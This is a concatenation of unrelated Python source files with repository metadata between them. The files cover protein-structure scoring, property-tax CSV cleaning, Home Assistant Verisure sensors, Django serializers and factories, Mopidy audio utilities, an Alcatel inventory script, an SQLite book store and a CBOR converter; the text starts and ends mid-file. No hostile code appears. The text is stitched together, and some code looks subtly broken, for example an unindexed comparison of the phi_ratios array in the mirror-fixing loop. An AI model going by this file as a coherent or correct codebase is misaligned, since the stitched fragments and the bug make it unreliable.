preds[to_correct, -1] = (-1)*preds[to_correct, -1] if verbose == 2: print("Corrected mirror idxs:", to_correct) return preds, stresses def mdscaling_numpy(pre_dist_mat, weights=None, iters=10, tol=1e-5, fix_mirror=True, N_mask=None, CA_mask=None, C_mask=None, verbose=2): """ Handles the specifics of MDS for proteins (mirrors, ...) """ # batched mds for full parallel preds, stresses = mds_numpy(pre_dist_mat, weights=weights,iters=iters, tol=tol, verbose=verbose) if not fix_mirror: return preds, stresses # no need to caculate multiple mirrors - just correct Z axis phi_ratios = calc_phis_numpy(preds, N_mask, CA_mask, C_mask, prop=True) for i,pred in enumerate(preds): # fix mirrors by (-1)*Z if more (+) than (-) phi angles if phi_ratios < 0.5: preds[i, -1] = (-1)*preds[i, -1] if verbose == 2: print("Corrected mirror in struct no.", i) return preds, stresses def lddt_ca_torch(true_coords, pred_coords, cloud_mask, r_0=15.): """ Computes the lddt score for each C_alpha. https://academic.oup.com/bioinformatics/article/29/21/2722/195896 Inputs: * true_coords: (b, l, c, d) in sidechainnet format. * pred_coords: (b, l, c, d) in sidechainnet format. * cloud_mask : (b, l, c) adapted for scn format. * r_0: float. maximum inclusion radius in reference struct. Outputs: * (b, l) lddt for c_alpha scores (ranging between 0 and 1) See wrapper below. """ device, dtype = true_coords.device, true_coords.type() thresholds = torch.tensor([0.5, 1, 2, 4], device=device).type(dtype) # adapt masks cloud_mask = cloud_mask.bool().cpu() c_alpha_mask = torch.zeros(cloud_mask.shape[1:], device=device).bool() # doesn't have batch dim c_alpha_mask[..., 1] = True # container for c_alpha scores (between 0,1) wrapper = torch.zeros(true_coords.shape[:2], device=device).type(dtype) for bi, seq in enumerate(true_coords): # select atoms for study c_alphas = cloud_mask[bi]*c_alpha_mask # only pick c_alpha positions selected_pred = pred_coords[bi, c_alphas, :] selected_target = true_coords[bi, c_alphas, :] # get number under distance dist_mat_pred = torch.cdist(selected_pred, selected_pred, p=2) dist_mat_target = torch.cdist(selected_target, selected_target, p=2) under_r0_target = dist_mat_target < r_0 compare_dists = torch.abs(dist_mat_pred - dist_mat_target)[under_r0_target] # measure diff below threshold score = torch.zeros_like(under_r0_target).float() max_score = torch.zeros_like(under_r0_target).float() max_score[under_r0_target] = 4. # measure under how many thresholds score[under_r0_target] = thresholds.shape[0] - \ torch.bucketize( compare_dists, boundaries=thresholds ).float() # dont include diagonal l_mask = c_alphas.float().sum(dim=-1).bool() wrapper[bi, l_mask] = ( score.sum(dim=-1) - thresholds.shape[0] ) / \ ( max_score.sum(dim=-1) - thresholds.shape[0] ) return wrapper ################ ### WRAPPERS ### ################ @set_backend_kwarg @invoke_torch_or_numpy(mdscaling_torch, mdscaling_numpy) def MDScaling(pre_dist_mat, **kwargs): """ Gets distance matrix (-ces). Outputs 3d. Assumes (for now) distrogram is (N x N) and symmetric. For support of ditograms: see `center_distogram_torch()` Inputs: * pre_dist_mat: (1, N, N) distance matrix. * weights: optional. (N x N) pairwise relative weights . * iters: number of iterations to run the algorithm on * tol: relative tolerance at which to stop the algorithm if no better improvement is achieved * backend: one of ["numpy", "torch", "auto"] for backend choice * fix_mirror: int. number of iterations to run the 3d generation and pick the best mirror (highest number of negative phis) * N_mask: indexing array/tensor for indices of backbone N. Only used if fix_mirror > 0. * CA_mask: indexing array/tensor for indices of backbone C_alpha. Only used if fix_mirror > 0. * verbose: whether to print logs Outputs: * best_3d_coords: (3 x N) * historic_stress: (timesteps, ) """ pre_dist_mat = expand_dims_to(pre_dist_mat, 3 - len(pre_dist_mat.shape)) return pre_dist_mat, kwargs @expand_arg_dims(dim_len = 2) @set_backend_kwarg @invoke_torch_or_numpy(kabsch_torch, kabsch_numpy) def Kabsch(A, B): """ Returns Kabsch-rotated matrices resulting from aligning A into B. Adapted from: https://github.com/charnley/rmsd/ * Inputs: * A,B are (3 x N) * backend: one of ["numpy", "torch", "auto"] for backend choice * Outputs: tensor/array of shape (3 x N) """ # run calcs - pick the 0th bc an additional dim was created return A, B @expand_arg_dims() @set_backend_kwarg @invoke_torch_or_numpy(rmsd_torch, rmsd_numpy) def RMSD(A, B): """ Returns RMSD score as defined here (lower is better): https://en.wikipedia.org/wiki/ Root-mean-square_deviation_of_atomic_positions * Inputs: * A,B are (B x 3 x N) or (3 x N) * backend: one of ["numpy", "torch", "auto"] for backend choice * Outputs: tensor/array of size (B,) """ return A, B @expand_arg_dims() @set_backend_kwarg @invoke_torch_or_numpy(gdt_torch, gdt_numpy) def GDT(A, B, *, mode="TS", cutoffs=[1,2,4,8], weights=None): """ Returns GDT score as defined here (highre is better): Supports both TS and HA http://predictioncenter.org/casp12/doc/help.html * Inputs: * A,B are (B x 3 x N) (np.array or torch.tensor) * cutoffs: defines thresholds for gdt * weights: list containing the weights * mode: one of ["numpy", "torch", "auto"] for backend * Outputs: tensor/array of size (B,) """ # define cutoffs for each type of gdt and weights cutoffs = [0.5,1,2,4] if mode in ["HA", "ha"] else [1,2,4,8] # calculate GDT return A, B, cutoffs, {'weights': weights} @expand_arg_dims() @set_backend_kwarg @invoke_torch_or_numpy(tmscore_torch, tmscore_numpy) def TMscore(A, B): """ Returns TMscore as defined here (higher is better): >0.5 (likely) >0.6 (highly likely) same folding. = 0.2. https://en.wikipedia.org/wiki/Template_modeling_score Warning! It's not exactly the code in: https://zhanglab.ccmb.med.umich.edu/TM-score/TMscore.cpp but will suffice for now. Inputs: * A,B are (B x 3 x N) (np.array or torch.tensor) * mode: one of ["numpy", "torch", "auto"] for backend Outputs: tensor/array of size (B,) """ return A, B

41.356255

122

0.610033

0

4,773

0.095575

0

22,164

0.443813

4252097259c5f8f2219e8a65c81337c134ef50fa

1,151

py

Python

src/clean_property_file.py

wmaciel/van-crime

e70d0310f41de3a1b54572f6c6bf01083e56e0ab

[ "MIT" ]

2

2016-03-03T00:14:59.000Z

2016-08-21T14:28:02.000Z

src/clean_property_file.py

wmaciel/van-crime

e70d0310f41de3a1b54572f6c6bf01083e56e0ab

[ "MIT" ]

null

src/clean_property_file.py

wmaciel/van-crime

e70d0310f41de3a1b54572f6c6bf01083e56e0ab

[ "MIT" ]

null

__author__ = 'walthermaciel' import pandas as pd import numpy as np def load_csv(path): # Load print 'Loading', path df = pd.read_csv(path) # Remove unwanted columns print 'Dropping unwanted columns' df = df[['PID', 'TAX_ASSESSMENT_YEAR', 'CURRENT_LAND_VALUE', 'STREET_NAME', 'TO_CIVIC_NUMBER']] df.columns = ['PID', 'YEAR', 'VALUE', 'STREET_NAME', 'STREET_NUMBER'] # Remove unwanted rows print 'Removing null rows' df.replace('', np.nan, inplace=True) df.dropna(inplace=True) # Compute average value for each property print 'Computing average value for same address properties' g_df = df.groupby(['STREET_NAME', 'STREET_NUMBER']).mean() df = g_df.reset_index() return df def main(): for y in xrange(2006, 2016): print y path_in = '../data/property_tax_06_15/property_tax_report_csv' + str(y) + '.csv' df = load_csv(path_in) path_out = '../data/property_tax_06_15/avg_property_tax_'+ str(y) + '.csv' print 'Saving', path_out df.to_csv(path_or_buf=path_out, index=False) print '\n' if __name__ == '__main__': main()

28.775

99

0.650738

0

502

0.436142

4252c9d8b3317ae5bd56696743e5b2124dce1942

4,040

py

Python

homeassistant/components/sensor/verisure.py

beschouten/home-assistant

f50c30bbbad4d92e342c8547630c63c0c7882803

[ "MIT" ]

1

2016-07-14T05:20:54.000Z

homeassistant/components/sensor/verisure.py

beschouten/home-assistant

f50c30bbbad4d92e342c8547630c63c0c7882803

[ "MIT" ]

null

homeassistant/components/sensor/verisure.py

beschouten/home-assistant

f50c30bbbad4d92e342c8547630c63c0c7882803

[ "MIT" ]

1

2018-11-22T13:55:23.000Z

""" Interfaces with Verisure sensors. For more details about this platform, please refer to the documentation at documentation at https://home-assistant.io/components/verisure/ """ import logging from homeassistant.components.verisure import HUB as hub from homeassistant.const import TEMP_CELSIUS from homeassistant.helpers.entity import Entity _LOGGER = logging.getLogger(__name__) def setup_platform(hass, config, add_devices, discovery_info=None): """Setup the Verisure platform.""" sensors = [] if int(hub.config.get('thermometers', '1')): hub.update_climate() sensors.extend([ VerisureThermometer(value.id) for value in hub.climate_status.values() if hasattr(value, 'temperature') and value.temperature ]) if int(hub.config.get('hygrometers', '1')): hub.update_climate() sensors.extend([ VerisureHygrometer(value.id) for value in hub.climate_status.values() if hasattr(value, 'humidity') and value.humidity ]) if int(hub.config.get('mouse', '1')): hub.update_mousedetection() sensors.extend([ VerisureMouseDetection(value.deviceLabel) for value in hub.mouse_status.values() # is this if needed? if hasattr(value, 'amountText') and value.amountText ]) add_devices(sensors) class VerisureThermometer(Entity): """Representation of a Verisure thermometer.""" def __init__(self, device_id): """Initialize the sensor.""" self._id = device_id @property def name(self): """Return the name of the device.""" return '{} {}'.format( hub.climate_status[self._id].location, "Temperature") @property def state(self): """Return the state of the device.""" # Remove ° character return hub.climate_status[self._id].temperature[:-1] @property def available(self): """Return True if entity is available.""" return hub.available @property def unit_of_measurement(self): """Return the unit of measurement of this entity.""" return TEMP_CELSIUS def update(self): """Update the sensor.""" hub.update_climate() class VerisureHygrometer(Entity): """Representation of a Verisure hygrometer.""" def __init__(self, device_id): """Initialize the sensor.""" self._id = device_id @property def name(self): """Return the name of the sensor.""" return '{} {}'.format( hub.climate_status[self._id].location, "Humidity") @property def state(self): """Return the state of the sensor.""" # remove % character return hub.climate_status[self._id].humidity[:-1] @property def available(self): """Return True if entity is available.""" return hub.available @property def unit_of_measurement(self): """Return the unit of measurement of this sensor.""" return "%" def update(self): """Update the sensor.""" hub.update_climate() class VerisureMouseDetection(Entity): """Representation of a Verisure mouse detector.""" def __init__(self, device_id): """Initialize the sensor.""" self._id = device_id @property def name(self): """Return the name of the sensor.""" return '{} {}'.format( hub.mouse_status[self._id].location, "Mouse") @property def state(self): """Return the state of the sensor.""" return hub.mouse_status[self._id].count @property def available(self): """Return True if entity is available.""" return hub.available @property def unit_of_measurement(self): """Return the unit of measurement of this sensor.""" return "Mice" def update(self): """Update the sensor.""" hub.update_mousedetection()

26.933333

74

0.611881

2,617

0.647612

0

1,715

0.4244

0

1,211

0.299678

4253d0f64f25024f864712c154a198a0bd7c1158

1,135

py

Python

articles/blogs/tests/factories.py

MahmoudFarid/articles

f0238908b1430c949dace50401fb3ddf268a581b

[ "MIT" ]

null

articles/blogs/tests/factories.py

MahmoudFarid/articles

f0238908b1430c949dace50401fb3ddf268a581b

[ "MIT" ]

null

articles/blogs/tests/factories.py

MahmoudFarid/articles

f0238908b1430c949dace50401fb3ddf268a581b

[ "MIT" ]

null

import factory from factory.django import DjangoModelFactory as Factory from django.contrib.auth.models import Permission from ..models import Blog from articles.users.tests.factories import UserFactory class Blogfactory(Factory): user = user = factory.SubFactory(UserFactory) title = factory.Faker('sentence', nb_words=3) description = factory.Faker('paragraph', nb_sentences=5) content = factory.Faker('paragraph', nb_sentences=10) gdoc_link = 'https://docs.google.com/document/d/1NcF8_6ZMraTXp7H7DVzR6pbqzJgNIyg3gYLUUoFoYe8/edit' status = factory.Faker('random_element', elements=[sttaus[0] for sttaus in Blog.STATUS_CHOICES]) class Meta: model = Blog def create_user_writer_with_permission(): user = UserFactory() write_blogs_perm = Permission.objects.filter(codename='can_write_blogs').first() user.user_permissions.add(write_blogs_perm) return user def create_editor_user_with_permission(): user = UserFactory() review_blogs_perm = Permission.objects.filter(codename='can_review_blogs').first() user.user_permissions.add(review_blogs_perm) return user

33.382353

102

0.767401

488

0.429956

0

169

0.148899

425489e4c1a682c5eeaad70ce3b5e922f8f9536b

8,847

py

Python

api_formatter/serializers.py

RockefellerArchiveCenter/argo

c02fec68dbb50382f3f0bdf11c51240ca22a181c

[ "MIT" ]

null

api_formatter/serializers.py

RockefellerArchiveCenter/argo

c02fec68dbb50382f3f0bdf11c51240ca22a181c

[ "MIT" ]

115

2019-08-19T20:19:06.000Z

2022-03-04T17:40:50.000Z

api_formatter/serializers.py

RockefellerArchiveCenter/argo

c02fec68dbb50382f3f0bdf11c51240ca22a181c

[ "MIT" ]

null

from datetime import datetime from django.urls import reverse from rest_framework import serializers from .view_helpers import description_from_notes class ExternalIdentifierSerializer(serializers.Serializer): identifier = serializers.CharField() source = serializers.CharField() class DateSerializer(serializers.Serializer): expression = serializers.CharField() begin = serializers.DateField() end = serializers.CharField(allow_null=True) label = serializers.DateField() type = serializers.CharField() class ExtentSerializer(serializers.Serializer): value = serializers.FloatField() type = serializers.CharField() class LanguageSerializer(serializers.Serializer): expression = serializers.CharField() identifier = serializers.CharField() class SubnoteSerializer(serializers.Serializer): type = serializers.CharField() content = serializers.SerializerMethodField() def get_content(self, obj): """Coerce content into a list so it can be serialized as JSON.""" return list(obj.content) class NoteSerializer(serializers.Serializer): type = serializers.CharField() title = serializers.CharField() source = serializers.CharField() subnotes = SubnoteSerializer(many=True) class RightsGrantedSerializer(serializers.Serializer): act = serializers.CharField() begin = serializers.DateField() end = serializers.DateField() restriction = serializers.CharField() notes = NoteSerializer(many=True, allow_null=True) class RightsStatementSerializer(serializers.Serializer): determination_date = serializers.DateField() type = serializers.CharField() rights_type = serializers.CharField() begin = serializers.DateField() end = serializers.DateField() copyright_status = serializers.CharField(allow_null=True) other_basis = serializers.CharField(allow_null=True) jurisdiction = serializers.CharField(allow_null=True) notes = NoteSerializer(many=True, allow_null=True) rights_granted = RightsGrantedSerializer(many=True) class GroupSerializer(serializers.Serializer): identifier = serializers.CharField() title = serializers.CharField() class ReferenceSerializer(serializers.Serializer): title = serializers.CharField() type = serializers.CharField(allow_null=True) online = serializers.SerializerMethodField() hit_count = serializers.IntegerField(allow_null=True) online_hit_count = serializers.IntegerField(allow_null=True) uri = serializers.SerializerMethodField() dates = serializers.CharField(allow_null=True) description = serializers.CharField(allow_null=True) group = GroupSerializer(allow_null=True) def get_online(self, obj): return getattr(obj, "online", False) def get_uri(self, obj): if getattr(obj, "uri", None): return obj.uri basename = obj.type if basename in ["person", "organization", "family", "software"]: basename = "agent" elif basename in ["cultural_context", "function", "geographic", "genre_form", "occupation", "style_period", "technique", "temporal", "topical"]: basename = "term" return reverse('{}-detail'.format(basename), kwargs={"pk": obj.identifier}).rstrip("/") class BaseListSerializer(serializers.Serializer): uri = serializers.SerializerMethodField() type = serializers.CharField() title = serializers.CharField() dates = DateSerializer(many=True, allow_null=True) def get_uri(self, obj): basename = self.context.get('view').basename or obj.type return reverse('{}-detail'.format(basename), kwargs={"pk": obj.meta.id}).rstrip("/") class BaseDetailSerializer(serializers.Serializer): uri = serializers.SerializerMethodField() title = serializers.CharField() type = serializers.CharField() category = serializers.CharField(allow_null=True) offset = serializers.IntegerField(allow_null=True) group = GroupSerializer() external_identifiers = ExternalIdentifierSerializer(many=True) def get_uri(self, obj): basename = self.context.get('view').basename or obj.type return reverse('{}-detail'.format(basename), kwargs={"pk": obj.meta.id}).rstrip("/") class AgentSerializer(BaseDetailSerializer): agent_type = serializers.CharField() description = serializers.CharField(allow_null=True) dates = DateSerializer(many=True, allow_null=True) notes = NoteSerializer(many=True, allow_null=True) class AgentListSerializer(BaseListSerializer): pass class CollectionSerializer(BaseDetailSerializer): level = serializers.CharField() parent = serializers.CharField(allow_null=True) languages = LanguageSerializer(many=True, allow_null=True) description = serializers.SerializerMethodField() extents = ExtentSerializer(many=True) formats = serializers.ListField() online = serializers.BooleanField() dates = DateSerializer(many=True, allow_null=True) notes = NoteSerializer(many=True, allow_null=True) rights_statements = RightsStatementSerializer(many=True, allow_null=True) agents = ReferenceSerializer(many=True, allow_null=True) creators = ReferenceSerializer(many=True, allow_null=True) terms = ReferenceSerializer(many=True, allow_null=True) def get_description(self, obj): return description_from_notes(getattr(obj, "notes", [])) class CollectionListSerializer(BaseListSerializer): pass class ObjectSerializer(BaseDetailSerializer): languages = LanguageSerializer(many=True, allow_null=True) parent = serializers.CharField(allow_null=True) description = serializers.SerializerMethodField() extents = ExtentSerializer(many=True, allow_null=True) formats = serializers.ListField() online = serializers.BooleanField() dates = DateSerializer(many=True, allow_null=True) notes = NoteSerializer(many=True, allow_null=True) rights_statements = RightsStatementSerializer(many=True, allow_null=True) agents = ReferenceSerializer(many=True, allow_null=True) terms = ReferenceSerializer(many=True, allow_null=True) def get_description(self, obj): return description_from_notes(getattr(obj, "notes", [])) class ObjectListSerializer(BaseListSerializer): pass class TermSerializer(BaseDetailSerializer): term_type = serializers.CharField() collections = ReferenceSerializer(many=True, allow_null=True) objects = ReferenceSerializer(many=True, allow_null=True) class TermListSerializer(BaseListSerializer): pass class CollectionHitSerializer(serializers.Serializer): """Serializes data for collapsed hits.""" category = serializers.CharField(source="group.category") dates = serializers.SerializerMethodField() hit_count = serializers.IntegerField() online_hit_count = serializers.IntegerField(allow_null=True) title = serializers.CharField(source="group.title") uri = serializers.SerializerMethodField() creators = serializers.SerializerMethodField() def get_dates(self, obj): return [d.to_dict() for d in obj.group.dates] def get_creators(self, obj): if getattr(obj.group, "creators", None): return [c.title for c in obj.group.creators] else: return [] def get_uri(self, obj): return obj.group.identifier.rstrip("/") class FacetSerializer(serializers.Serializer): """Serializes facets.""" def to_representation(self, instance): resp = {} for k, v in instance.aggregations.to_dict().items(): if "buckets" in v: resp[k] = v["buckets"] elif "name" in v: # move nested aggregations up one level resp[k] = v["name"]["buckets"] elif k in ["max_date", "min_date"]: # convert timestamps to year value = (datetime.fromtimestamp(v["value"] / 1000.0).year) if v["value"] else None resp[k] = {"value": value} else: resp[k] = v return resp class AncestorsSerializer(serializers.Serializer): """Provides a nested dictionary representation of ancestors.""" def serialize_ancestors(self, ancestor_list, tree, idx): ancestor = ancestor_list[idx] serialized = ReferenceSerializer(ancestor).data tree_data = {**serialized, **tree} if idx == len(ancestor_list) - 1: new_tree = tree_data return new_tree else: new_tree = {"child": tree_data} return self.serialize_ancestors(ancestor_list, new_tree, idx + 1) def to_representation(self, instance): resp = {} if instance: resp = self.serialize_ancestors(instance, {}, 0) return resp

35.247012

98

0.706228

8,626

0.97502

0

643

0.07268

42549d1737ce596628e42957af0838f8a820986b

828

py

Python

cmz/cms_news/migrations/0004_auto_20160923_1958.py

inmagik/cmz

e183f0c7203bda5efb1cbeb96f4f06a76aa91231

[ "MIT" ]

1

2016-10-01T18:35:24.000Z

cmz/cms_news/migrations/0004_auto_20160923_1958.py

inmagik/cmz

e183f0c7203bda5efb1cbeb96f4f06a76aa91231

[ "MIT" ]

8

2016-09-14T21:39:09.000Z

2016-10-25T20:08:31.000Z

cmz/cms_news/migrations/0004_auto_20160923_1958.py

inmagik/cmz

e183f0c7203bda5efb1cbeb96f4f06a76aa91231

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-09-23 19:58 from __future__ import unicode_literals import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('cms_news', '0003_auto_20160923_1956'), ] operations = [ migrations.AddField( model_name='news', name='date', field=models.DateField(auto_now_add=True, default=datetime.datetime(2016, 9, 23, 19, 58, 10, 395979, tzinfo=utc)), preserve_default=False, ), migrations.AddField( model_name='newstranslation', name='title', field=models.CharField(default='Hello cmz', max_length=300), preserve_default=False, ), ]

27.6

126

0.621981

617

0.745169

0

152

0.183575

42553eda4ebfb5ccb85d9727626440163f717d34

3,252

py

Python

mopidy/audio/utils.py

grdorin/mopidy

76db44088c102d7ad92a3fc6a15a938e66b99b0d

[ "Apache-2.0" ]

6,700

2015-01-01T03:57:59.000Z

2022-03-30T09:31:31.000Z

mopidy/audio/utils.py

pnijhara/mopidy

7168787ea6c82b66e138fc2b388d78fa1c7661ba

[ "Apache-2.0" ]

1,141

2015-01-02T09:48:59.000Z

2022-03-28T22:25:30.000Z

mopidy/audio/utils.py

pnijhara/mopidy

7168787ea6c82b66e138fc2b388d78fa1c7661ba

[ "Apache-2.0" ]

735

2015-01-01T21:15:50.000Z

2022-03-20T16:13:44.000Z

from mopidy import httpclient from mopidy.internal.gi import Gst def calculate_duration(num_samples, sample_rate): """Determine duration of samples using GStreamer helper for precise math.""" return Gst.util_uint64_scale(num_samples, Gst.SECOND, sample_rate) def create_buffer(data, timestamp=None, duration=None): """Create a new GStreamer buffer based on provided data. Mainly intended to keep gst imports out of non-audio modules. .. versionchanged:: 2.0 ``capabilites`` argument was removed. """ if not data: raise ValueError("Cannot create buffer without data") buffer_ = Gst.Buffer.new_wrapped(data) if timestamp is not None: buffer_.pts = timestamp if duration is not None: buffer_.duration = duration return buffer_ def millisecond_to_clocktime(value): """Convert a millisecond time to internal GStreamer time.""" return value * Gst.MSECOND def clocktime_to_millisecond(value): """Convert an internal GStreamer time to millisecond time.""" return value // Gst.MSECOND def supported_uri_schemes(uri_schemes): """Determine which URIs we can actually support from provided whitelist. :param uri_schemes: list/set of URIs to check support for. :type uri_schemes: list or set or URI schemes as strings. :rtype: set of URI schemes we can support via this GStreamer install. """ supported_schemes = set() registry = Gst.Registry.get() for factory in registry.get_feature_list(Gst.ElementFactory): for uri in factory.get_uri_protocols(): if uri in uri_schemes: supported_schemes.add(uri) return supported_schemes def setup_proxy(element, config): """Configure a GStreamer element with proxy settings. :param element: element to setup proxy in. :type element: :class:`Gst.GstElement` :param config: proxy settings to use. :type config: :class:`dict` """ if not hasattr(element.props, "proxy") or not config.get("hostname"): return element.set_property("proxy", httpclient.format_proxy(config, auth=False)) element.set_property("proxy-id", config.get("username")) element.set_property("proxy-pw", config.get("password")) class Signals: """Helper for tracking gobject signal registrations""" def __init__(self): self._ids = {} def connect(self, element, event, func, *args): """Connect a function + args to signal event on an element. Each event may only be handled by one callback in this implementation. """ if (element, event) in self._ids: raise AssertionError self._ids[(element, event)] = element.connect(event, func, *args) def disconnect(self, element, event): """Disconnect whatever handler we have for an element+event pair. Does nothing it the handler has already been removed. """ signal_id = self._ids.pop((element, event), None) if signal_id is not None: element.disconnect(signal_id) def clear(self): """Clear all registered signal handlers.""" for element, event in list(self._ids): element.disconnect(self._ids.pop((element, event)))

31.882353

78

0.681119

995

0.305966

0

1,400

0.430504

425582d3b0bd9aebc3e98f0f395cf656db9c8b38

467

py

Python

day09/part1.py

mtn/advent16

0df34237485ee1246532e9eda0ef643e6950d13e

[ "MIT" ]

null

day09/part1.py

mtn/advent16

0df34237485ee1246532e9eda0ef643e6950d13e

[ "MIT" ]

null

day09/part1.py

mtn/advent16

0df34237485ee1246532e9eda0ef643e6950d13e

[ "MIT" ]

null

#!/usr/bin/env python3 import re with open("input.txt") as f: content = f.read().strip() ans = "" i = 0 while i < len(content): if content[i] == "(": end = content[i:].find(")") + i instr = content[i+1:end] chars, times = map(int, content[i+1:end].split("x")) to_copy = content[end+1:end+1+chars] ans += times * to_copy i = end + 1 + chars else: ans += content[i] i += 1 print(len(ans))

20.304348

60

0.509636

0

44

0.094218

4255be118dbe243d9d0c4b4eac0548f7377725a0

2,825

py

Python

sa/profiles/Alcatel/AOS/get_inventory.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

84

2017-10-22T11:01:39.000Z

2022-02-27T03:43:48.000Z

sa/profiles/Alcatel/AOS/get_inventory.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

22

2017-12-11T07:21:56.000Z

2021-09-23T02:53:50.000Z

sa/profiles/Alcatel/AOS/get_inventory.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

23

2017-12-06T06:59:52.000Z

2022-02-24T00:02:25.000Z

# ---------------------------------------------------------------------- # Alcatel.AOS.get_inventory # ---------------------------------------------------------------------- # Copyright (C) 2007-2014 The NOC Project # See LICENSE for details # ---------------------------------------------------------------------- # Python modules import re # NOC modules from noc.core.script.base import BaseScript from noc.sa.interfaces.igetinventory import IGetInventory class Script(BaseScript): name = "Alcatel.AOS.get_inventory" interface = IGetInventory rx_ni = re.compile( r"^\s+GBIC\s+(?P<int_number>\d+)\n" r"\s+Manufacturer Name:\s+(?P<vendor>\S+)(|\s+),\n" r"^\s+Part Number:\s+(?P<part_number>\S+)(|\s+),\n" r"^\s+Hardware Revision:\s+(|(?P<hw_rev>\S+))(|\s+),\n" r"^\s+Serial Number:\s+(?P<serial>\S+)(|\s+)(|\s+),\n", re.IGNORECASE | re.MULTILINE | re.DOTALL, ) def execute(self): objects = [] # Chassis info p = self.scripts.get_version() objects += [ { "type": "CHASSIS", "number": None, "vendor": "ALU", "serial": p["attributes"].get("Serial Number"), "description": "%s %s" % (p["vendor"], p["platform"]), "part_no": p["platform"], "revision": p["attributes"].get("HW version"), "builtin": False, } ] # Transiver Detected iface = self.cli("show ni") for match in self.rx_ni.finditer(iface): number = match.group("int_number") # type = match.group("int") # vendor = match.group("vendor") serial = match.group("serial") hw_rev = match.group("hw_rev") if not hw_rev: hw_rev = "None" part_no = match.group("part_number") if "XFP-10G-LR" in part_no: part = "NoName | Transceiver | 10G | XFP LR" elif "SFP-LX" in part_no: part = "NoName | Transceiver | 1G | SFP LX" elif "SFP-LH" in part_no: part = "NoName | Transceiver | 1G | SFP LH" elif "GLC-BX" in part_no: part = "Cisco | Transceiver | 1G | GLC-BX-D" else: part = "NoName | Transceiver | 1G | SFP SX" objects += [ { "type": "XCVR", "number": number, "vendor": "NONAME", "serial": serial, "description": "SFP Transceiver " + part_no, "part_no": [part], "revision": hw_rev, "builtin": False, } ] return objects

36.217949

72

0.43469

2,362

0.836106

0

1,262

0.446726

42569d1c317bd48e4f4e7021e87396555e651ced

1,276

py

Python

db_conn.py

achhetr/Library-book-store-app

a85e9a26dba48119ce52abb5ee8219528e06ac30

[ "MIT" ]

null

db_conn.py

achhetr/Library-book-store-app

a85e9a26dba48119ce52abb5ee8219528e06ac30

[ "MIT" ]

null

db_conn.py

achhetr/Library-book-store-app

a85e9a26dba48119ce52abb5ee8219528e06ac30

[ "MIT" ]

null

import sqlite3 class Database: # create book always if not exists def __init__(self,db): self.conn = sqlite3.connect(db) self.cur = self.conn.execute("CREATE TABLE IF NOT EXISTS book (id INTEGER PRIMARY KEY, " + "title TEXT, author TEXT, year INTEGER, isbn INTEGER)") self.conn.commit() def insert(self,title,author,year,isbn): self.cur.execute("INSERT INTO book VALUES (NULL,?,?,?,?)",(title,author,year,isbn)) self.conn.commit() def view(self): self.cur.execute("SELECT * FROM book") rows = self.cur.fetchall() return rows def search(self,title="",author="",year="",isbn=""): self.cur.execute("SELECT * FROM book WHERE title=? OR author=? " + "OR year=? OR isbn=?",(title,author,year,isbn)) rows = self.cur.fetchall() return rows def delete(self,id): self.cur.execute("DELETE FROM book WHERE id=?",(id,)) self.conn.commit() def update(self,id,title,author,year,isbn): self.cur.execute("UPDATE book SET title=?, author=?, " + "year=?,isbn=? WHERE id=?", (title,author,year,isbn,id)) self.conn.commit() def __del__(self): self.conn.close()

33.578947

98

0.579937

1,260

0.987461

0

375

0.293887

4258b13ddf592d8967b4cf56eb4a465b00010bc4

5,286

py

Python

edge-tool/cbor_converter.py

hckim-kornic/mbed-edge-kornic

b83ea92066fae7c274777aa27494d5524c577c12

[ "Apache-2.0" ]

null

edge-tool/cbor_converter.py

hckim-kornic/mbed-edge-kornic

b83ea92066fae7c274777aa27494d5524c577c12

[ "Apache-2.0" ]

null

edge-tool/cbor_converter.py

hckim-kornic/mbed-edge-kornic

b83ea92066fae7c274777aa27494d5524c577c12

[ "Apache-2.0" ]

null

#!/usr/bin/env python # ---------------------------------------------------------------------------- # Copyright 2018 ARM Ltd. # # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ---------------------------------------------------------------------------- import os import cbor2 import struct from pyclibrary import CParser from collections import namedtuple CERTIFICATE_KEYS = ('MBED_CLOUD_DEV_BOOTSTRAP_DEVICE_CERTIFICATE', 'MBED_CLOUD_DEV_BOOTSTRAP_SERVER_ROOT_CA_CERTIFICATE', 'arm_uc_default_certificate') KEY_KEYS = ('MBED_CLOUD_DEV_BOOTSTRAP_DEVICE_PRIVATE_KEY') UPDATE_KEYS = ('arm_uc_default_certificate', 'arm_uc_class_id', 'arm_uc_vendor_id') KEY_MAP = { 'MBED_CLOUD_DEV_BOOTSTRAP_DEVICE_CERTIFICATE': 'mbed.BootstrapDeviceCert', 'MBED_CLOUD_DEV_BOOTSTRAP_SERVER_ROOT_CA_CERTIFICATE': 'mbed.BootstrapServerCACert', 'MBED_CLOUD_DEV_BOOTSTRAP_DEVICE_PRIVATE_KEY': 'mbed.BootstrapDevicePrivateKey', 'MBED_CLOUD_DEV_BOOTSTRAP_ENDPOINT_NAME': 'mbed.EndpointName', 'MBED_CLOUD_DEV_BOOTSTRAP_SERVER_URI': 'mbed.BootstrapServerURI', 'MBED_CLOUD_DEV_ACCOUNT_ID': 'mbed.AccountID', 'MBED_CLOUD_DEV_MANUFACTURER': 'mbed.Manufacturer', 'MBED_CLOUD_DEV_MODEL_NUMBER': 'mbed.ModelNumber', 'MBED_CLOUD_DEV_SERIAL_NUMBER': 'mbed.SerialNumber', 'MBED_CLOUD_DEV_DEVICE_TYPE': 'mbed.DeviceType', 'MBED_CLOUD_DEV_HARDWARE_VERSION': 'mbed.HardwareVersion', 'MBED_CLOUD_DEV_MEMORY_TOTAL_KB': 'mbed.MemoryTotalKB', 'arm_uc_default_certificate': 'mbed.UpdateAuthCert', 'arm_uc_class_id': 'mbed.ClassId', 'arm_uc_vendor_id': 'mbed.VendorId' } ConfigParam = namedtuple('ConfigParam', ['Data', 'Name']) Certificate = 